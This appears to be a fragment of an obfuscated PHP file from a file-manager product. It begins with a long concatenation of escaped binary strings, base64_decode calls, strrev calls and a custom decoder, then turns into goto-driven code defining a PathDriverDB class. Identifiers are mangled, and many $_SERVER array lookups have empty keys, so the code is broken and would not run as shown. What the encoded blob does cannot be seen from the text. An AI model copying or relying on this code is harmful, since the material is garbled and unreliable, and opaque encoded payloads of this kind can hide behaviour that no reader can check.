57\277\310\204\137\1\177\202\213\307\200\73\367\4\165\246\344\150\250\313\347\10\273\344\357\163\337\105\123\331\5\64\106\131\265\76\146\45\20\246"."\xc7\xb7\x6a\x62\x59\x82\xcf\x95\x33\xcd\x81\x91\x14\xa7\x65\x63\x9\x17\x30\xfa\xdb\x21\x83\x62\x3b\x9c\x8a\x80\xe\x94\x76\xdc\xad\x96\x93\x7c\x86\x29\x56\x8b\x58\xd6\x69\x33\x55\xc2\xee\x9b\xc4\x1c\x89\x9b"."\xd8\x28\xc9\xe7\xa8\x2\x11\xf4\x1\xa1\x1d\x80\x55\x99\x60\xab\x37\x8f\x78\x25\x30\xe3\x20\x92\x5a\x17\xb4\x85\x4f\x59\x18\x69\x8f\xc6\x3a\x16\xc5\x13\xc9\xce\xc5\x4b\x96\x2e\x3\x8f\x93\x8d\xc\x69\xfa\x14".base64_decode('L9OFgONb/6BW9A8yV/6L8aZDt/yyMMcTUR+xW2LmUY2qMHguph7+ylm0Nn8ubzeMA9FR1A==')."\173\115\323\36\47\167\161\373\147\127\14\231\135\335\126\17\307\322\264\76\10\101\141\310\146\211\255\26\10\31\136\371\111\1\214\255\262\274\230\356\165\111\3\220\40\14\371\44\231\101\44\162"."\xc7\xd4\x34\x3a\xa2\xb\xb3\x44\x73\x48\x72\xec\xcc\x16\xcd\x4a\xe2\x43\xd4\xed\x80\x74\xa5\x57\x1b\x70\xe4\xb\x77\xce\x2b\xbd\x68\xfb\xe9\x88\xbb\x9c\x90\x9e\x44\x68\x7c\xbb\xd9\x5f\x9c\xe2\xb7\x71\x4b\xf2"."\x88\x2f\xc0\xd7\x40\x52\x90\x97\x1\xe1\x15\xdc\x9e\x7\x73\xa4\x36\xd7\x22\xe4\x89\xdc\x29\x47\x82\xd8\x5b\x36\x2a\xd3\xc0\x9\x7f\x2b\x92\xa9\xd3\x4a\x17\x15\x93\x41\xa5\x8f\x45\x2c\xe2\x47\x9e\x46\x3d\x8a"."\x70\x77\xcd\x94\xb1\x4e\x3f\xd6\x6c\x1d\x60\xbd\x99\x74\x9b\x36\x25\xbb\x64\x60\x54\x35\x37\x20\xc\xc4\x72\x3\xdc\xc8\x23\xe5\x90\x2a\x30\x3\x6f\x95\xec\xc8\x84\xe0\x0\xaf\x65\xa0\xbc\xe6\x11\x66\x9b\xb"."\167\124\233\107\342\322\73\100\16\167\30\362\373\42\132\241\20\314\340\76\70\26\247\43\51\45\107\372\260\151\212\154\322\342\164\246\215\262\133\250\364\226\346\360\226\10\161\207\250\175\222\253".base64_decode('1LIakKSXD7Hr+GW5SCw0RPZnt6WdDC8Hhp0BYD3jCRZbbScNe03L8haKJrZcazJy/X5rCA==').base64_decode('8rKaZS92uCn6XF/a2BtHO5eToQnDXoLV7COSMOMvEstezxDwBQ9xoKnWM4Txo7b5sX9FIg==')."\xd0\x72\x83\xb3\x58\x82\x9d\xff\x38\x7b\x4f\xdf\x88\x92\xb6\xd8\xe0\xe2\x8d\xfb\x8f\xe6\xde\xa5\x85\xb\x6a\xaa\xb6\xa7\x61\xe1\x1b\x17\xc9\xe5\x81\x7e\xec\x9c\xc4\xcc\xb3\x57\x70\xe8\xdb\x4\xb2\x8f\xf3\xb4"."\116\232\313\257\343\113\356\301\361\373\30\150\251\63\233\74\311\121\70\222\364\372\371\64\22\167\300\262\333\105\74\344\336\234\343\131\14\72\101\116\367\333\226\256\17\60\33\102\74\333\202\242".base64_decode('FLmXdHqa662Y4JWsAul6kp5LwJ+DDX6GPsQA7aU/p1ZqvbcoHJej2aHPOizUR5gvcBeZcw==')."\271\17\357\136\320\335\336\235\224\273\153\27\265\276\76\324\130\311\241\252\243\55\302\133\71\140\23\171\342\204\15\301\370\276\316\341\250\342\244\212\256\322\41\63\116\373\36\304\333\252\141\374"."\376\204\360\350\331\31\217\70\316\237\0\224\365\162\125\306\33\144\6\136\146\51\233\46\133\125\364\51\63\213\166\351\342\44\172\354\322\353\306\176\161\311\376\373\257\31\73\377\47\173\167\355"."\x1e\xbb\xea\x1e\x9a\x4e\x47\xad\x45\xcf\xf3\xb9\x1f\x3b\xef\xc2\x7d\xbb\xaf\xde\xbf\xfd\xfe\xd7\x2f\xdd\xfe\xaf\x7b\x37\xee\xdf\x71\x17\xb6\x34\xba\xf6\x27\xd4\xf0\x68\x74\xf3\xfa\xb1\x4b\x6e\x1d\xdd\xbc\x61"."\xff\xce\x33\xc7\xee\xd9\x32\x76\xf5\x19\xaf\x5f\xbe\xe5\xb5\x75\xeb\x61\xf5\xe4\x89\x6b\xd1\x40\xb1\xbf\x24\xc6\x89\x16\x19\xbb\xee\xde\xd1\x7b\x37\xbf\x7e\xf1\xe5\xfb\x77\xec\x90\xe0\x6d\x6c\x7\x97\x95\x96".strrev('[nf^s1])Lw'."\n".'k_7Fzϳɚ')."\335\205\250\77\376\12\205\306\266\236\263\167\367\235\256\102\121\63\121\112\145\232\45\177\351\143\33\317\31\335\176\5\377\310\336\135\233\250\21\271\253\10\267\174\343\360\264\376\162\370\4\303".strrev('Õ`-^vwnc1.&as};tng},m/S')."\214\26\127\160\333\372\375\167\236\65\166\351\235\34\20\57\373\264\42\140\10\106\121\30\154\60\117\76\270\357\276\13\366\355\276\12\43\311\206\365\373\326\337\75\172\325\255\243\127\257\343\237"."\35\335\265\113\214\162\314\117\136\12\253\100\160\27\341\164\40\271\175\302\322\272\120\222\36\253\223\211\34\26\274\370\3\143\130\3\105\237\116\140\362\24\171\345\0\236\331\151\142\213\26\215"."\143\276\331\114\303\330\257\256\102\344\263\252\261\352\304\32\364\133\133\345\251\302\273\13\22\307\4\24\47\220\166\124\65\236\130\103\2\265\340\33\151\25\360\16\311\75\262\130\170\240\227\235"."\217\250\207\164\156\71\237\260\42\314\350\246\370\247\370\31\363\233\277\22\177\121\74\216\325\311\171\216\170\175\200\162\37\372\252\11\73\334\214\352\366\220\131\224\155\225\247\260\333\134\31\211"."\167\344\54\340\2\324\241\277\120\152\1\352\121\123\302\55\233\312\221\16\12\364\122\153\140\7\370\135\267\217\236\365\213\327\57\335\346\206\245\132\23\166\235\5\211\150\145\257\53\322\133\26"."\xa3\x17\x5c\x56\xfe\x3d\x2\xef\xfc\x1a\x3\x1e\x3d\xfd\xaa\x7d\x17\xbb\x20\x99\xfd\xac\x22\xa9\xc7\x44\x1\x82\xfd\x2e\x3a\xc2\x79\x83\x5c\x84\xe2\xfb\xff\x66\x15\x51\x65\x65\x23\x56\xdb\xd3\x84\xa5\xde\xce".base64_decode('wkgp78XqK29Cdp/peiCo3gmPFVBOeFlmSAnemxNB+nBRoyI/KyZ5ASfKTcrcmEUTpGFxgg==')."\45\11\321\242\117\334\51\301\22\202\352\224\20\116\166\265\27\133\244\170\221\230\217\327\30\132\270\266\41\275\205\40\203\70\337\251\162\277\136\345\36\5\122\4\153\103\275\362\313\131\303\150".base64_decode('H4az8XsoXqxb9Rrp8XIE4ajY1BS8P1AJpLNkpN2fJJY33lKJfbBipfIukQGQToR5ffKTGg==').base64_decode('WJnm5UeE7hc7xM5aK39tZFkurUyZ2jh9diO7v3wSMxwqFZiJPwqy10gm+vsYrRHvTrG+4Q==')."\x9\x97\x9e\x6f\x71\x24\x8b\x61\xe4\xf\x4a\x30\x22\xe5\x80\x13\xad\x75\xbc\x9a\x6\x1d\xa5\x8a\x1d\xe9\xbd\x19\x72\xb0\x43\x49\x14\x36\xa7\x53\xf9\xbb\x3c\x15\xa8\x35\xda\xa2\x33\xb9\xb\xa4\x50\xe9\x8e\x1c".base64_decode('n5B+FihyeE0skd7sgOgJoS+A4QOooabYNRF5VaIMqUwpP9AkZSq2aSo5LT8Cm9FJVuMkaw==')."\xe\xfe\x50\x13\xbe\xc7\x61\x4d\x62\x4f\x30\x9\x1f\xd2\x98\x57\x9\x27\xa1\xd4\xc5\x15\xe4\xd0\x63\x2c\x1f\x7e\x4a\xcd\x87\x19\x61\xbc\x24\x5f\x33\x44\x1c\xcf\x65\x3d\x21\xbf\x4b\xdb\x41\x38\x1\xf0\x46\xfa"."\xd6\x15\x64\x44\x3a\x17\x84\xa3\x92\x61\xa0\x94\xa0\x6\x5b\xa2\x6a\xa0\xa3\xa3\x62\x6\x4c\x16\xd5\x3f\x63\xab\x1a\xdf\xa\xe9\xb9\x4d\x1a\x9a\x8b\x36\x6d\x4a\xa\xdf\x1d\x6a\xaa\xc2\xa9\x55\x8a\x55\x4c\x31".strrev('bG'."\n".'g.LI@o7}CD\\j@kvB'."\0".'#3~Ug')."\x8a\x32\x57\x53\xe8\x88\x36\x55\x93\xd3\x94\x6a\x25\x83\xb8\x3f\x37\x2f\x9e\xe7\x2e\xcc\x9f\x47\x9b\xeb\xd7\xe4\x4c\xbc\xc6\xe2\x26\xdb\x59\xf2\xdd\xfc\x20\xf7\x9b\x59\xf1\x20\x2d\x20\x79\xe0\x27\x2f\x19\x5".base64_decode('tfzi8iK4cl9Kzuqi98Z65OkjN7bKS/uJ3sgv1BgqfUa08jEkP32rgBjYVAahPrNR0FIDGA==').base64_decode('+QSngGZARgdWStAMx5sjtmTzVMIXF8lZTlG8zLZ6Na0Iv0Wzdm15GlhRu7MCBcOdhDHInQ==')."\206\225\103\42\15\261\74\347\147\50\366\312\100\42\205\301\320\137\121\46\22\135\40\42\164\211\71\62\273\230\375\23\211\165\167\125\373\352\326\256\365\33\314\326\220\131\64\261\262\76\16\115"."\343\335\76\47\74\352\11\14\75\7\204\4\67\44\25\147\117\201\105\170\250\277\116\134\266\344\66\205\12\66\64\154\152\232\327\305\245\254\36\226\247\22\235\212\74\167\114\112\65\32\146\61"."\xa4\x40\xdb\xc8\xe4\x12\x1e\xc\x46\x85\x1c\xce\xd7\x5\xa5\x34\x3e\xa2\xdd\xb\x38\xdd\x79\xcf\x17\x8f\xd7\xd1\x71\x96\xc3\x81\x42\xc1\x41\x52\x58\x4\x1f\x6c\x65\x8d\x5e\x3f\xa7\x3\xf4\xb0\xcb\x97\x12\xb7"."\x19\x19\x8\xa1\x42\xae\x74\x6c\x22\xe8\xca\xc0\xd7\xad\x49\xf2\x20\xa2\xa4\x66\x91\xd3\x2d\x9e\x8e\xea\xe2\x89\x80\xe6\x98\xb6\x48\xa4\x84\x67\xcf\xb5\x52\x45\xa3\x60\x3b\xe8\x1a\x7d\x8b\xb9\x8a\x3c\x81\xb6"."\102\33\324\50\110\225\2\232\273\246\52\362\202\105\25\242\143\64\207\21\63\336\300\271\370\153\110\64\316\66\125\221\116\130\31\135\107\345\11\255\252\364\21\124\260\112\141\324\64\247\361\161"."\x2c\xda\x26\xe2\xa5\xfc\xde\x1c\x3c\x2b\xd9\x19\x87\x2b\x49\x81\x28\x1c\x31\x9e\x70\x1a\xfd\x3d\xf1\x4\xce\x38\xf0\x9b\x97\x59\x24\x33\x93\xb\x17\x84\x6e\x11\xc1\xbc\xf\x6b\x64\x29\x10\x3c\x6f\xd9\x11\x8f"."\x25\x63\x41\xf6\x7a\x9c\x53\x75\x4b\xd3\xa6\xb1\x4d\x86\x45\xef\x85\x8a\x7d\x19\xbb\x2f\xc7\x2d\x8a\x18\x4\x97\x2e\xfc\x90\x2\xd8\x50\x2c\xe5\xf3\xdc\xc4\x13\xe3\x2b\x67\x81\x4d\x95\xff\x74\x91\x53\x50\x3d".base64_decode('3TNOvtKlsTNSoK700DeRKdmCC+MnMpL4jrsFyZKfUezlVE/7uqivgKZ6dmmKGZSKu5IMUg==')."\316\121\60\153\350\221\331\265\37\310\247\130\131\325\370\130\17\236\165\252\366\124\327\370\352\152\253\313\163\250\351\256\63\37\133\300\251\247\44\120\46\74\242\4\54\236\334\112\14\106\302\241"."\x68\x52\xd\x3\x77\x6f\x98\x32\xd3\x57\x2f\x6e\xc\x1a\x96\xf0\x19\x4c\xc3\x41\x6e\x7a\x54\xd4\xc9\xa8\xfa\x1c\xdd\xaa\x30\x34\xf4\x5c\x25\xc9\xd\x4f\xf5\xbc\x43\x1b\x4b\x87\x34\x6b\x32\x8f\xb2\x53\xea\xeb"."\353\275\365\15\350\177\166\223\202\271\2\151\144\316\176\44\220\372\372\106\362\77\315\40\57\244\1\12\72\163\20\111\144\264\34\0\206\164\35\32\4\274\23\355\224\113\114\36\355\12\342\213".base64_decode('ngpuGkyLMJxF2EccvTKy6niAUyFn/BDT3YPAjScAn9npAPXezVglakg/GRRoL783jMDEqg==').base64_decode('mUOvbDfxRoXy6S75Yz42uDRReK73sgyv/GwMFKKETpwLOpqGyjg9yOIUJNmkeD9xgqSpxQ==')."\x32\xae\xe4\x15\x17\x47\xe5\xe3\x3f\x92\xcd\x2f\xdf\x92\x58\x96\x7b\x26\xc1\xd1\x28\xaf\x89\xbe\x4e\x44\xfd\x5e\xc0\x18\x56\x58\x85\x19\x73\x48\x15\xb2\x9\x8e\x9e\xc2\x63\x64\x48\xf1\x6e\x93\xa1\x61\x5a\xba".strrev('k27'."\n".'K:I=dvǕ*%ì."X0  $Ǎ ')."\106\211\37\173\372\354\57\321\337\64\36\132\66\271\266\173\142\311\34\71\16\66\334\226\201\54\46\315\24\73\353\112\174\216\361\36\113\11\261\4\172\112\27\344\356\143\245\12\334\131\256\62".base64_decode('AXpEVlYA0suhyUliBWic7oImjmKD3B+27D2Wqp4kIzELnu4QFjqsjkFpI+orFM1+NOuWPA==')._kodDe('KB5embMoaCX9on269iVRv7nuf4jCHbPeBPIiXgPEXxsSesYB5ggkoZPAT+j+yp062qeyY4s=').base64_decode('ssiuwlkH3jE7U3jLPgPpmKbDhsfmZVNlCiYoEtZCye9Fqg40YbjKTMDwCAljC2c6TaO6CA==')."\xc7\x41\x70\x92\x10\xba\xac\x9e\x84\xe6\x0\x29\x24\x8b\xa\x57\x10\x61\xcf\x21\x27\x1c\xce\xd6\x1\x4d\x1b\x99\x2c\x22\x17\x73\xe6\xbd\x7a\xf6\x5\x2c\x70\x11\x83\xc2\xc3\xca\x5f\xee\x94\x8f\xdc\xf0\x90\xaa".base64_decode('spoIr+g2/rx6BUR0IlsZVhG+jSto5KRQiuHa2Wkn2iVbVOnpwckKfaZbwY+PT3TOT3kBeA==').base64_decode('0MxE0iP2RS0XwnV1ukjUQgdF5G2lohszX1Um+aaAae0k9qgJpcfCksIP3e5C3epBWx3BTQ==')."\140\102\272\50\65\146\165\342\46\103\50\315\346\107\161\162\127\211\127\50\162\105\210\353\46\63\130\303\323\243\220\146\316\41\117\142\124\310\305\36\65\330\327\270\137\156\240\374\10\306\264\371".base64_decode('9hhXH0hL7DMiy7dJWsQ7TzTVYUQgvQnAQVEzWOM11jZiDkqeVJB27K6o23gWl5AkGhSVOA==').strrev('TrQ Ƙ))A^l/ +P}Xdp,z'."\0".'Jtac6/')."\267\343\172\277\34\45\366\12\154\65\10\257\355\162\25\330\53\231\104\166\360\52\14\244\354\222\354\343\114\172\330\1\305\244\7\74\44\101\324\333\240\160\11\126\245\65\323\310\144\51\203\300"."\127\22\146\135\12\133\351\6\33\321\114\45\112\275\374\370\331\45\142\262\113\161\212\54\301\261\133\156\270\2\342\334\11\367\300\222\363\120\265\330\241\272\350\231\134\204\174\263\254\10\315\303"."\x42\x94\xb8\xe\x27\xe7\x58\xf8\x65\x8e\x4e\x36\x8b\x95\x72\x2a\x7c\x8a\x64\x49\x23\x9a\x62\x98\x6\xab\x7c\x99\x18\x24\xc8\x18\xd1\x99\xb5\xb6\xb7\x61\x8a\x77\x2a\xec\x60\xe4\x2b\x72\x6c\x73\x6\x7c\x4\x2d"."\54\11\15\360\366\226\221\61\260\165\6\70\1\143\112\207\370\304\235\222\160\34\103\74\104\361\371\44\256\244\170\254\50\311\22\342\141\173\342\153\111\46\353\302\106\211\232\107\143\200\316\112"."\371\164\204\160\166\213\303\240\335\5\200\326\207\63\37\336\350\20\215\241\356\236\114\207\201\241\253\22\170\10\106\176\205\204\224\22\375\20\126\377\50\311\244\57\201\110\3\43\154\255\250\27".strrev('Drӑ˖nni36%-MoJby49v*')."\x51\xa7\xa3\x34\x4f\xe2\x50\x43\x3a\x73\xb\xc0\x76\xea\x1d\x6d\x1d\x7e\x9e\xd4\xcc\x97\x27\x55\x94\x8\x27\x77\x41\x66\x39\xa9\xf\x33\xa7\xaa\x43\x39\x23\xa5\x44\x62\xb\xc2\xc1\x40\xa4\x25\x9c\x58\xa8\xf4"."\343\203\127\141\131\210\232\253\222\145\253\132\342\265\33\362\274\217\163\201\23\335\61\235\16\206\353\275\374\251\31\34\364\366\242\175\204\67\315\367\132\226\330\125\221\36\102\145\342\101\76\147".base64_decode('tRQr9WJZjXl8ey9bVgZrxCtAZ4X+VwIuFPVy+BEdWzhKLZYKlCq0BuArf4G8DyRDI/FIzw==').base64_decode('j9d4Iz9oWIYgB6zEiFx7oKU9HFUDkUhsicMwWJwFFLkiJS2/1STNjJgE+vVyD4vgz05+Bw==')."\xc3\xa5\x5c\xa1\xd3\x27\xbb\x10\x2d\xb0\x33\x2e\x78\x3c\x96\xbf\xdd\x42\xa3\xd2\x5b\x6a\x85\xa2\x66\x58\xba\x94\x40\x9f\xfd\xaa\x83\xcb\x72\x5a\x36\xeb\x78\x12\x35\xdb\x27\x45\x4b\x4e\x7e\x5b\xf1\x53\x2a\xfd"."\0\113\43\202\356\370\0\361\360\202\266\344\177\335\124\43\55\234\360\31\151\146\171\306\257\104\323\147\135\202\362\363\271\354\233\342\361\240\362\224\377\366\55\72\217\344\375\223\70\61\143\257".strrev('+&f(`؈'."\n".'j'."\r".''."\r".'COP|1I|ST M=2d]')."\x87\x29\xe7\x10\x19\x81\x1\x77\x58\x5b\xba\x1e\xd3\x73\xdb\xc7\x3b\x9e\xca\x2b\xfb\x6\x79\xb9\x85\xe6\x91\x93\x29\x4\xd9\x23\xfa\x84\x62\xfc\xa5\x26\x51\xd4\x9d\x53\xa1\x1\x28\x5b\x11\x2a\x2f\xe\xa0\x34"."\51\365\364\135\107\376\12\217\62\227\71\176\20\37\40\56\3\103\271\202\355\330\351\267\311\167\145\244\51\241\11\130\377\123\344\12\74\72\347\54\212\47\266\211\115\246\52\363\116\102\207\305"."\xfe\xf\x1b\x62\x9a\xb9\x91\xb2\x4\x87\x76\x2c\xc2\x7a\xc3\x4d\xa2\xf1\xcb\x45\xf9\x3e\x53\x1e\x75\x42\xcf\xf1\x75\x29\xfa\x5c\x2b\x55\x44\x78\xd0\x7e\x44\xb7\xcb\xdf\x7f\xa3\xc5\xff\x6f\xa\xd2\xcc\x84\xe4"."\323\326\131\111\171\203\54\67\377\24\262\34\176\332\56\143\16\71\337\160\305\51\356\307\354\34\317\330\111\53\214\270\61\220\37\336\163\26\362\224\275\40\245\220\347\267\25\104\214\140\356\261"."\x29\xf\xdb\xe8\x12\x60\xe9\xd3\x93\xe8\x4f\x37\xfc\x32\x6e\xe8\x6e\x4\xa5\x73\xf0\xc9\x5a\x8e\x8a\xc1\x8c\x91\x4d\x17\xb9\x91\x96\x48\x68\xd7\x85\xf6\x81\x94\x42\x84\xa5\xa0\x31\x2f\xfa\xe4\x99\xcb\x16\x46".strrev('(fDyELUE~&i,TxBX'."\0".'fx:fķΡGb/J').base64_decode('k2kI03y+50kA7J3QtIc8YknpovtVLGl9cvIrlxbukSEva/ZqWbAodFy2K6Itm85YigOMJg==').base64_decode('+bVCQZyPyBwY/eu4Rw15nck2lfgUUakRQ0LgoHRmSRPh/LKUD9NzGkdqUdpMyt6h6dmNuA==')."\x8e\xb\xe0\xa8\x9d\x1d\xf4\xb0\x16\x6\x50\xae\x92\x1d\xa0\x73\xbd\x3b\xa2\x4f\x7c\xcf\xed\x2f\x3f\x70\xc7\xc6\x68\x40\x61\xc8\xb3\xf7\xc2\x26\x85\x38\xf8\x90\x77\x7b\x0\xa0\xcc\x55\x4\xaa\x38\x16\x36\x46"."\x2d\x24\x72\xd3\x67\x43\x9\xe5\x90\x29\xdc\x67\xa4\x4a\x2f\xb8\xc1\xf3\xa4\x95\x1e\x64\xa3\x2b\x81\xfc\xb4\xe8\x7d\x7c\xe7\x84\xe3\x42\x56\x90\xfd\x22\x9\x13\x1d\xf7\xcb\xa1\xe5\xaf\xa0\xb2\x17\x4f\xd9\x52"."\x82\xe7\x4e\x2b\xbc\x61\x3a\xee\x13\xa8\x1e\x71\xf3\xfa\xb3\xde\x79\x13\xf7\x7c\x9d\xaf\xd9\xe3\x7e\x70\x49\x83\x6f\x4e\xca\xf6\x37\xee\xad\xd\x1f\x56\x57\x81\xb8\x7b\x90\x93\x66\xb9\x12\x5a\x98\x24\x38\x1e".strrev('d[ۜl\'ivvAB?fhOs^:Ȼ0αY~iW'."\r".'zh')."\330\156\60\303\201\273\210\41\213\313\177\324\347\162\31\303\130\226\113\117\231\72\175\266\254\101\21\123\50\16\167\301\217\12\234\121\203\314\43\220\102\161\242\241\302\34\75\313\253\237\144\72".base64_decode('L9qUP0rs4gj/3YIRmxEKKtnulr/bXjYCBE8lCzKJQbrsgExsmmOJVUdZoniK2PktKk5U6A==')."\x87\xc4\x7\xc5\x62\xa1\xcf\xca\x9a\x59\xbc\x91\xcf\xe1\x3\x2\xbb\xa8\x39\xf7\xa7\x95\xb6\x61\x64\x24\xd8\x9e\xf\xeb\x78\x45\xcc\x69\x29\x5\x2a\x1b\x91\x2d\xed\xd3\xe4\x1a\x6d\xd3\xad\x6f\xc2\xc5\x31\x9f".base64_decode('JLrTWD4LbBy7pRCrTaJE/8UEsi0X3Z0JEzHcfcdO3TkK/pMZmanwhLBkQPMZfaCSH99qeg==')."\x35\xdb\x2b\x21\xa7\xa4\xaf\xd4\xed\x18\x99\x6c\x20\x17\x62\x47\xec\xec\xb7\xab\x7a\x54\x4c\xd4\xd1\xe3\x51\xc6\x3\x2a\x17\xff\xa4\x97\x86\x85\x2b\x44\x49\xf0\xc3\xa5\xd9\xa5\xf2\x71\x14\xa\xe4\x4e\xb3\x53"."\204\222\37\102\45\27\202\205\317\36\262\164\35\313\130\362\253\56\137\250\45\25\311\353\243\274\152\351\131\131\241\206\42\172\53\350\21\54\156\142\121\101\232\31\130\300\257\143\153\222\275\237".base64_decode('UzcGwp70JjoaPunZcFMOS88VI54QY1cqUHMc21oUb3E9KU/ol/udeTZmhGgIeihd83dsnQ==')."\370\113\233\216\255\224\345\176\156\27\211\206\216\27\111\322\145\57\224\3\341\44\227\352\350\327\44\326\53\270\254\10\105\113\71\21\221\64\314\144\377\305\63\35\336\20\260\303\77\27\215\140"."\76\26\54\327\53\334\324\121\70\15\263\155\302\377\372\245\331\377\127\17\314\116\257\147\147\1\216\207\351\27\200\260\16\255\305\7\256\134\367\101\365\320\256\176\70\331\353\4\300\42\64\370".strrev('#w`j" WFO#e7bVlƤ̏3HTAA')."\70\255\122\61\371\15\142\104\130\12\22\115\44\165\241\24\251\26\156\164\10\300\154\243\303\266\143\25\26\4\115\142\122\267\40\156\171\43\65\120\341\124\236\230\337\72\137\10\220\244\234\62"."\x30\xd1\x7c\x24\xc\x31\xb7\x9c\x7e\x16\x4a\xe1\x7d\x28\x71\x41\x3\xd3\x20\xbb\x9\x88\x15\xd8\x8e\xb5\x16\xd8\x49\xcf\xc9\x8c\xec\x11\xd7\x24\x40\xfd\x64\x8a\xe7\x48\x2a\xa3\x93\x49\xc7\xe4\x3a\x12\xe5\x79".base64_decode('E8TMx/DCUaLd9UQyBbLksXUcRJQbaZSX5gRFLoIvBjh1bnhaccO89V5XQoPXVR1/Jdq5aA==')."\34\317\26\123\303\26\264\322\342\130\267\302\164\154\344\54\213\34\152\173\313\313\320\5\222\20\60\343\54\321\312\204\202\67\112\350\31\161\110\36\17\106\160\72\212\46\221\70\235\251\134\337"."\44\31\142\247\44\145\256\133\210\244\311\223\174\145\354\217\321\136\307\114\141\113\100\161\206\232\214\305\103\352\222\60\166\151\21\76\65\324\311\234\61\33\46\171\201\204\125\331\331\136\103\156"."\305\301\2\100\333\241\126\123\240\222\216\250\242\244\131\26\36\205\355\134\41\310\117\174\235\167\253\245\33\30\314\237\227\254\353\164\2\343\153\64\316\265\70\257\22\130\312\54\132\262\73\116"."\107\46\226\337\114\224\33\147\33\362\316\74\132\310\172\312\326\323\12\226\4\34\233\203\256\151\365\123\173\76\253\26\224\317\41\247\175\16\44\354\122\22\123\275\314\150\230\301\124\54\147\122".base64_decode('/zuV8hBuJmwHEonna9zP1rQ6fFs1SrpXhXj5gveLxpmbqBkUMoorD5OG8XPxNpcfa7PXTg==')."\260\101\236\37\73\1\303\267\76\374\4\377\100\145\276\114\315\251\314\76\11\53\27\204\212\210\120\334\362\315\45\174\311\56\216\304\212\361\34\277\354\101\324\102\124\323\343\120\370\200\31\202"."\234\44\35\313\243\135\133\332\371\20\31\311\44\311\314\353\67\324\40\35\54\73\317\365\371\175\331\62\106\132\62\42\122\66\51\305\274\307\242\137\174\365\77\54\134\60\221\154\172\70\26\30"."\324\270\227\63\167\251\116\307\216\130\262\2\110\21\12\21\52\77\350\25\347\317\222\30\312\212\341\55\265\220\20\134\351\22\105\25\74\117\33\24\102\265\330\324\245\323\255\332\140\5\320\264".base64_decode('7vZSh1I4KBHKJZ8d4gaOPiR/HeDEBRkHYHmq8OkhlReHe6KbOK1S9wmFcxaXfYZwpBJJ9A==')."\x41\x27\x6e\x32\x23\x6d\xa0\xb1\x4d\x91\xb0\xa5\xa1\x5d\xe1\x7a\x22\xf1\x49\xa7\x87\x12\xe\xc6\xe7\xc\xc1\x90\x1b\x7c\x5e\x47\xaa\x4b\x25\x80\x55\x72\x4c\xa0\x74\x65\x81\x92\x4a\xaa\xbe\xa2\x2e\x4b\x42\x1"."\75\33\221\252\223\17\376\307\55\220\250\374\21\201\225\316\41\226\134\273\210\14\46\262\230\216\301\227\170\26\357\30\100\306\345\114\107\163\334\123\113\166\260\2\175\151\142\216\234\17\320\274"."\x80\x33\x8b\xc2\xeb\xae\xd6\xcb\x5\xdc\x3d\xa3\x25\x1c\x6f\x10\xca\xe9\x43\x86\x9d\xca\x48\xdb\xed\xf2\xcc\xf2\xf4\x62\xd9\x60\x43\x3\x2a\xf7\xc3\xdd\x5a\x36\xd6\x6e\x25\x84\xa8\xa4\xac\x3d\x92\x55\x51\xd2"."\254\120\206\266\250\142\61\232\205\113\212\135\216\243\354\70\103\200\313\322\54\134\266\54\233\25\56\33\127\122\316\326\112\326\70\335\53\37\74\120\152\245\53\164\130\250\176\44\320\361\306\263".base64_decode('InD55wAT3dBEC1a5FUJ55bLjqNSKisDjtsINLWQOvJWtlOMwhnJylEp0m+VUoNSUCo1rJQ==')."\x25\x2c\x87\xca\x59\x86\xc8\xab\x60\xc7\x44\x3f\x89\xa5\x1f\xd9\x1d\x64\x85\x6c\xd9\x28\xaa\xb2\xd9\x54\xbc\x22\x95\xb1\x9c\xf6\x4c\xae\x74\x79\x80\xc0\x61\x39\x48\xd0\x80\xc0\x48\x4\xcb\x1a\x3\xc2\x5e\x94"."\x5d\x17\x99\xe4\x60\x25\xa5\xfc\x40\xde\xe4\xec\x29\x2d\xcc\x81\xb1\xe4\x14\x28\xba\xc7\xb9\xac\x36\x27\xea\xe7\x4b\x92\xeb\xf8\x8a\xb7\x57\x3c\x58\xc3\x54\xae\xcb\xc9\x6a\xfc\x1a\xa1\x30\xa9\xa3\x7b\x66\xd3"."\x36\x52\xba\xd3\x3f\xbd\xec\x15\x92\xe6\xb3\x8f\x64\x25\x7d\xb6\x4b\x95\x2c\xf4\x5d\xe\xcb\x9a\xa\xa\x56\x92\x4\x12\xb3\x38\xd5\xa1\xf5\x49\xc2\x91\xc0\x9\xc7\xe5\x32\x2a\x92\xc0\x61\x18\x3d\x57\xf\x62"."\x63\xf\x7e\xa2\x4a\x9c\xa4\x53\x16\x4e\xb3\x13\x66\xd1\xf6\xe0\xbc\xa4\x59\x20\xbf\xcd\xa6\x6d\xb\x33\x15\xaa\x60\x22\x62\x36\xe6\xc3\x1e\xc9\xa\xb\x85\xc4\xf1\x29\x6e\x14\x39\x87\x23\x68\x4b\x28\x16\x9".base64_decode('wgk/1twkdJpL6Jwjgs/3eERms3DS31py2SKIhAEz3WsOM1eMCK+kQRIngJpbthRiEaCibA==')."\123\106\134\231\130\176\232\343\207\307\220\274\244\16\170\303\324\267\242\320\357\50\116\137\205\344\26\341\237\125\3\234\2\210\52\350\113\50\104\45\13\227\337\22\311\104\131\126\107\40\221\130".base64_decode('Eou30IdTyrJJKclyryyroy0WHS8v1B4IR8rysJFfVBVOPWlWuIO0khxij9eKcHChaEm5Lw==')."\x55\x76\xe8\x16\x81\x67\x2e\xc5\xbc\x48\x87\x50\x85\x8c\xc9\xce\x96\x18\x7c\x42\xcb\x32\x65\x90\x74\x48\xa1\xe7\x84\xd7\x57\x51\xc6\xa9\xe3\x92\xe7\xdf\x62\xee\x99\x79\xc0\xf9\x5a\xa1\xcb\xe6\x96\x21\x36\x54"."\204\115\366\242\120\167\274\0\251\370\301\31\116\37\270\234\57\354\106\174\16\373\22\51\235\254\41\102\224\44\334\224\371\75\111\250\253\70\100\362\241\105\371\201\32\311\25\3\200\33\166\212".strrev(''."\0".''."\0".'ꕈa-JuAfh[lId :^+V ').strrev('')."".""."", 10, -8))); goto dϝ; d͘: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($ש) { $this->pathParse = $ש; $this->model = Model($_SERVER[][1411]); } public function getPath($ɓ) { return trim($ɓ, $_SERVER[][8]); } public function pathFather($) { $湺 = $this->parse($); $湺 = $this->infoSimple($); return $湺 ? $湺[$_SERVER[][192]] : !1; } public function pathThis($ᚘۻ) { $ = $this->infoSimple($ᚘۻ); return $ ? $[$_SERVER[][32]] : !1; } public function getPathOuter($) { if (!$) { return $; } $Χ = $this->parse($); return KodIO::make($Χ[$_SERVER[][475]]); } public function copyFolderFromIO($ݴ, $³, $벡, $–, $朹) { $ޜ = 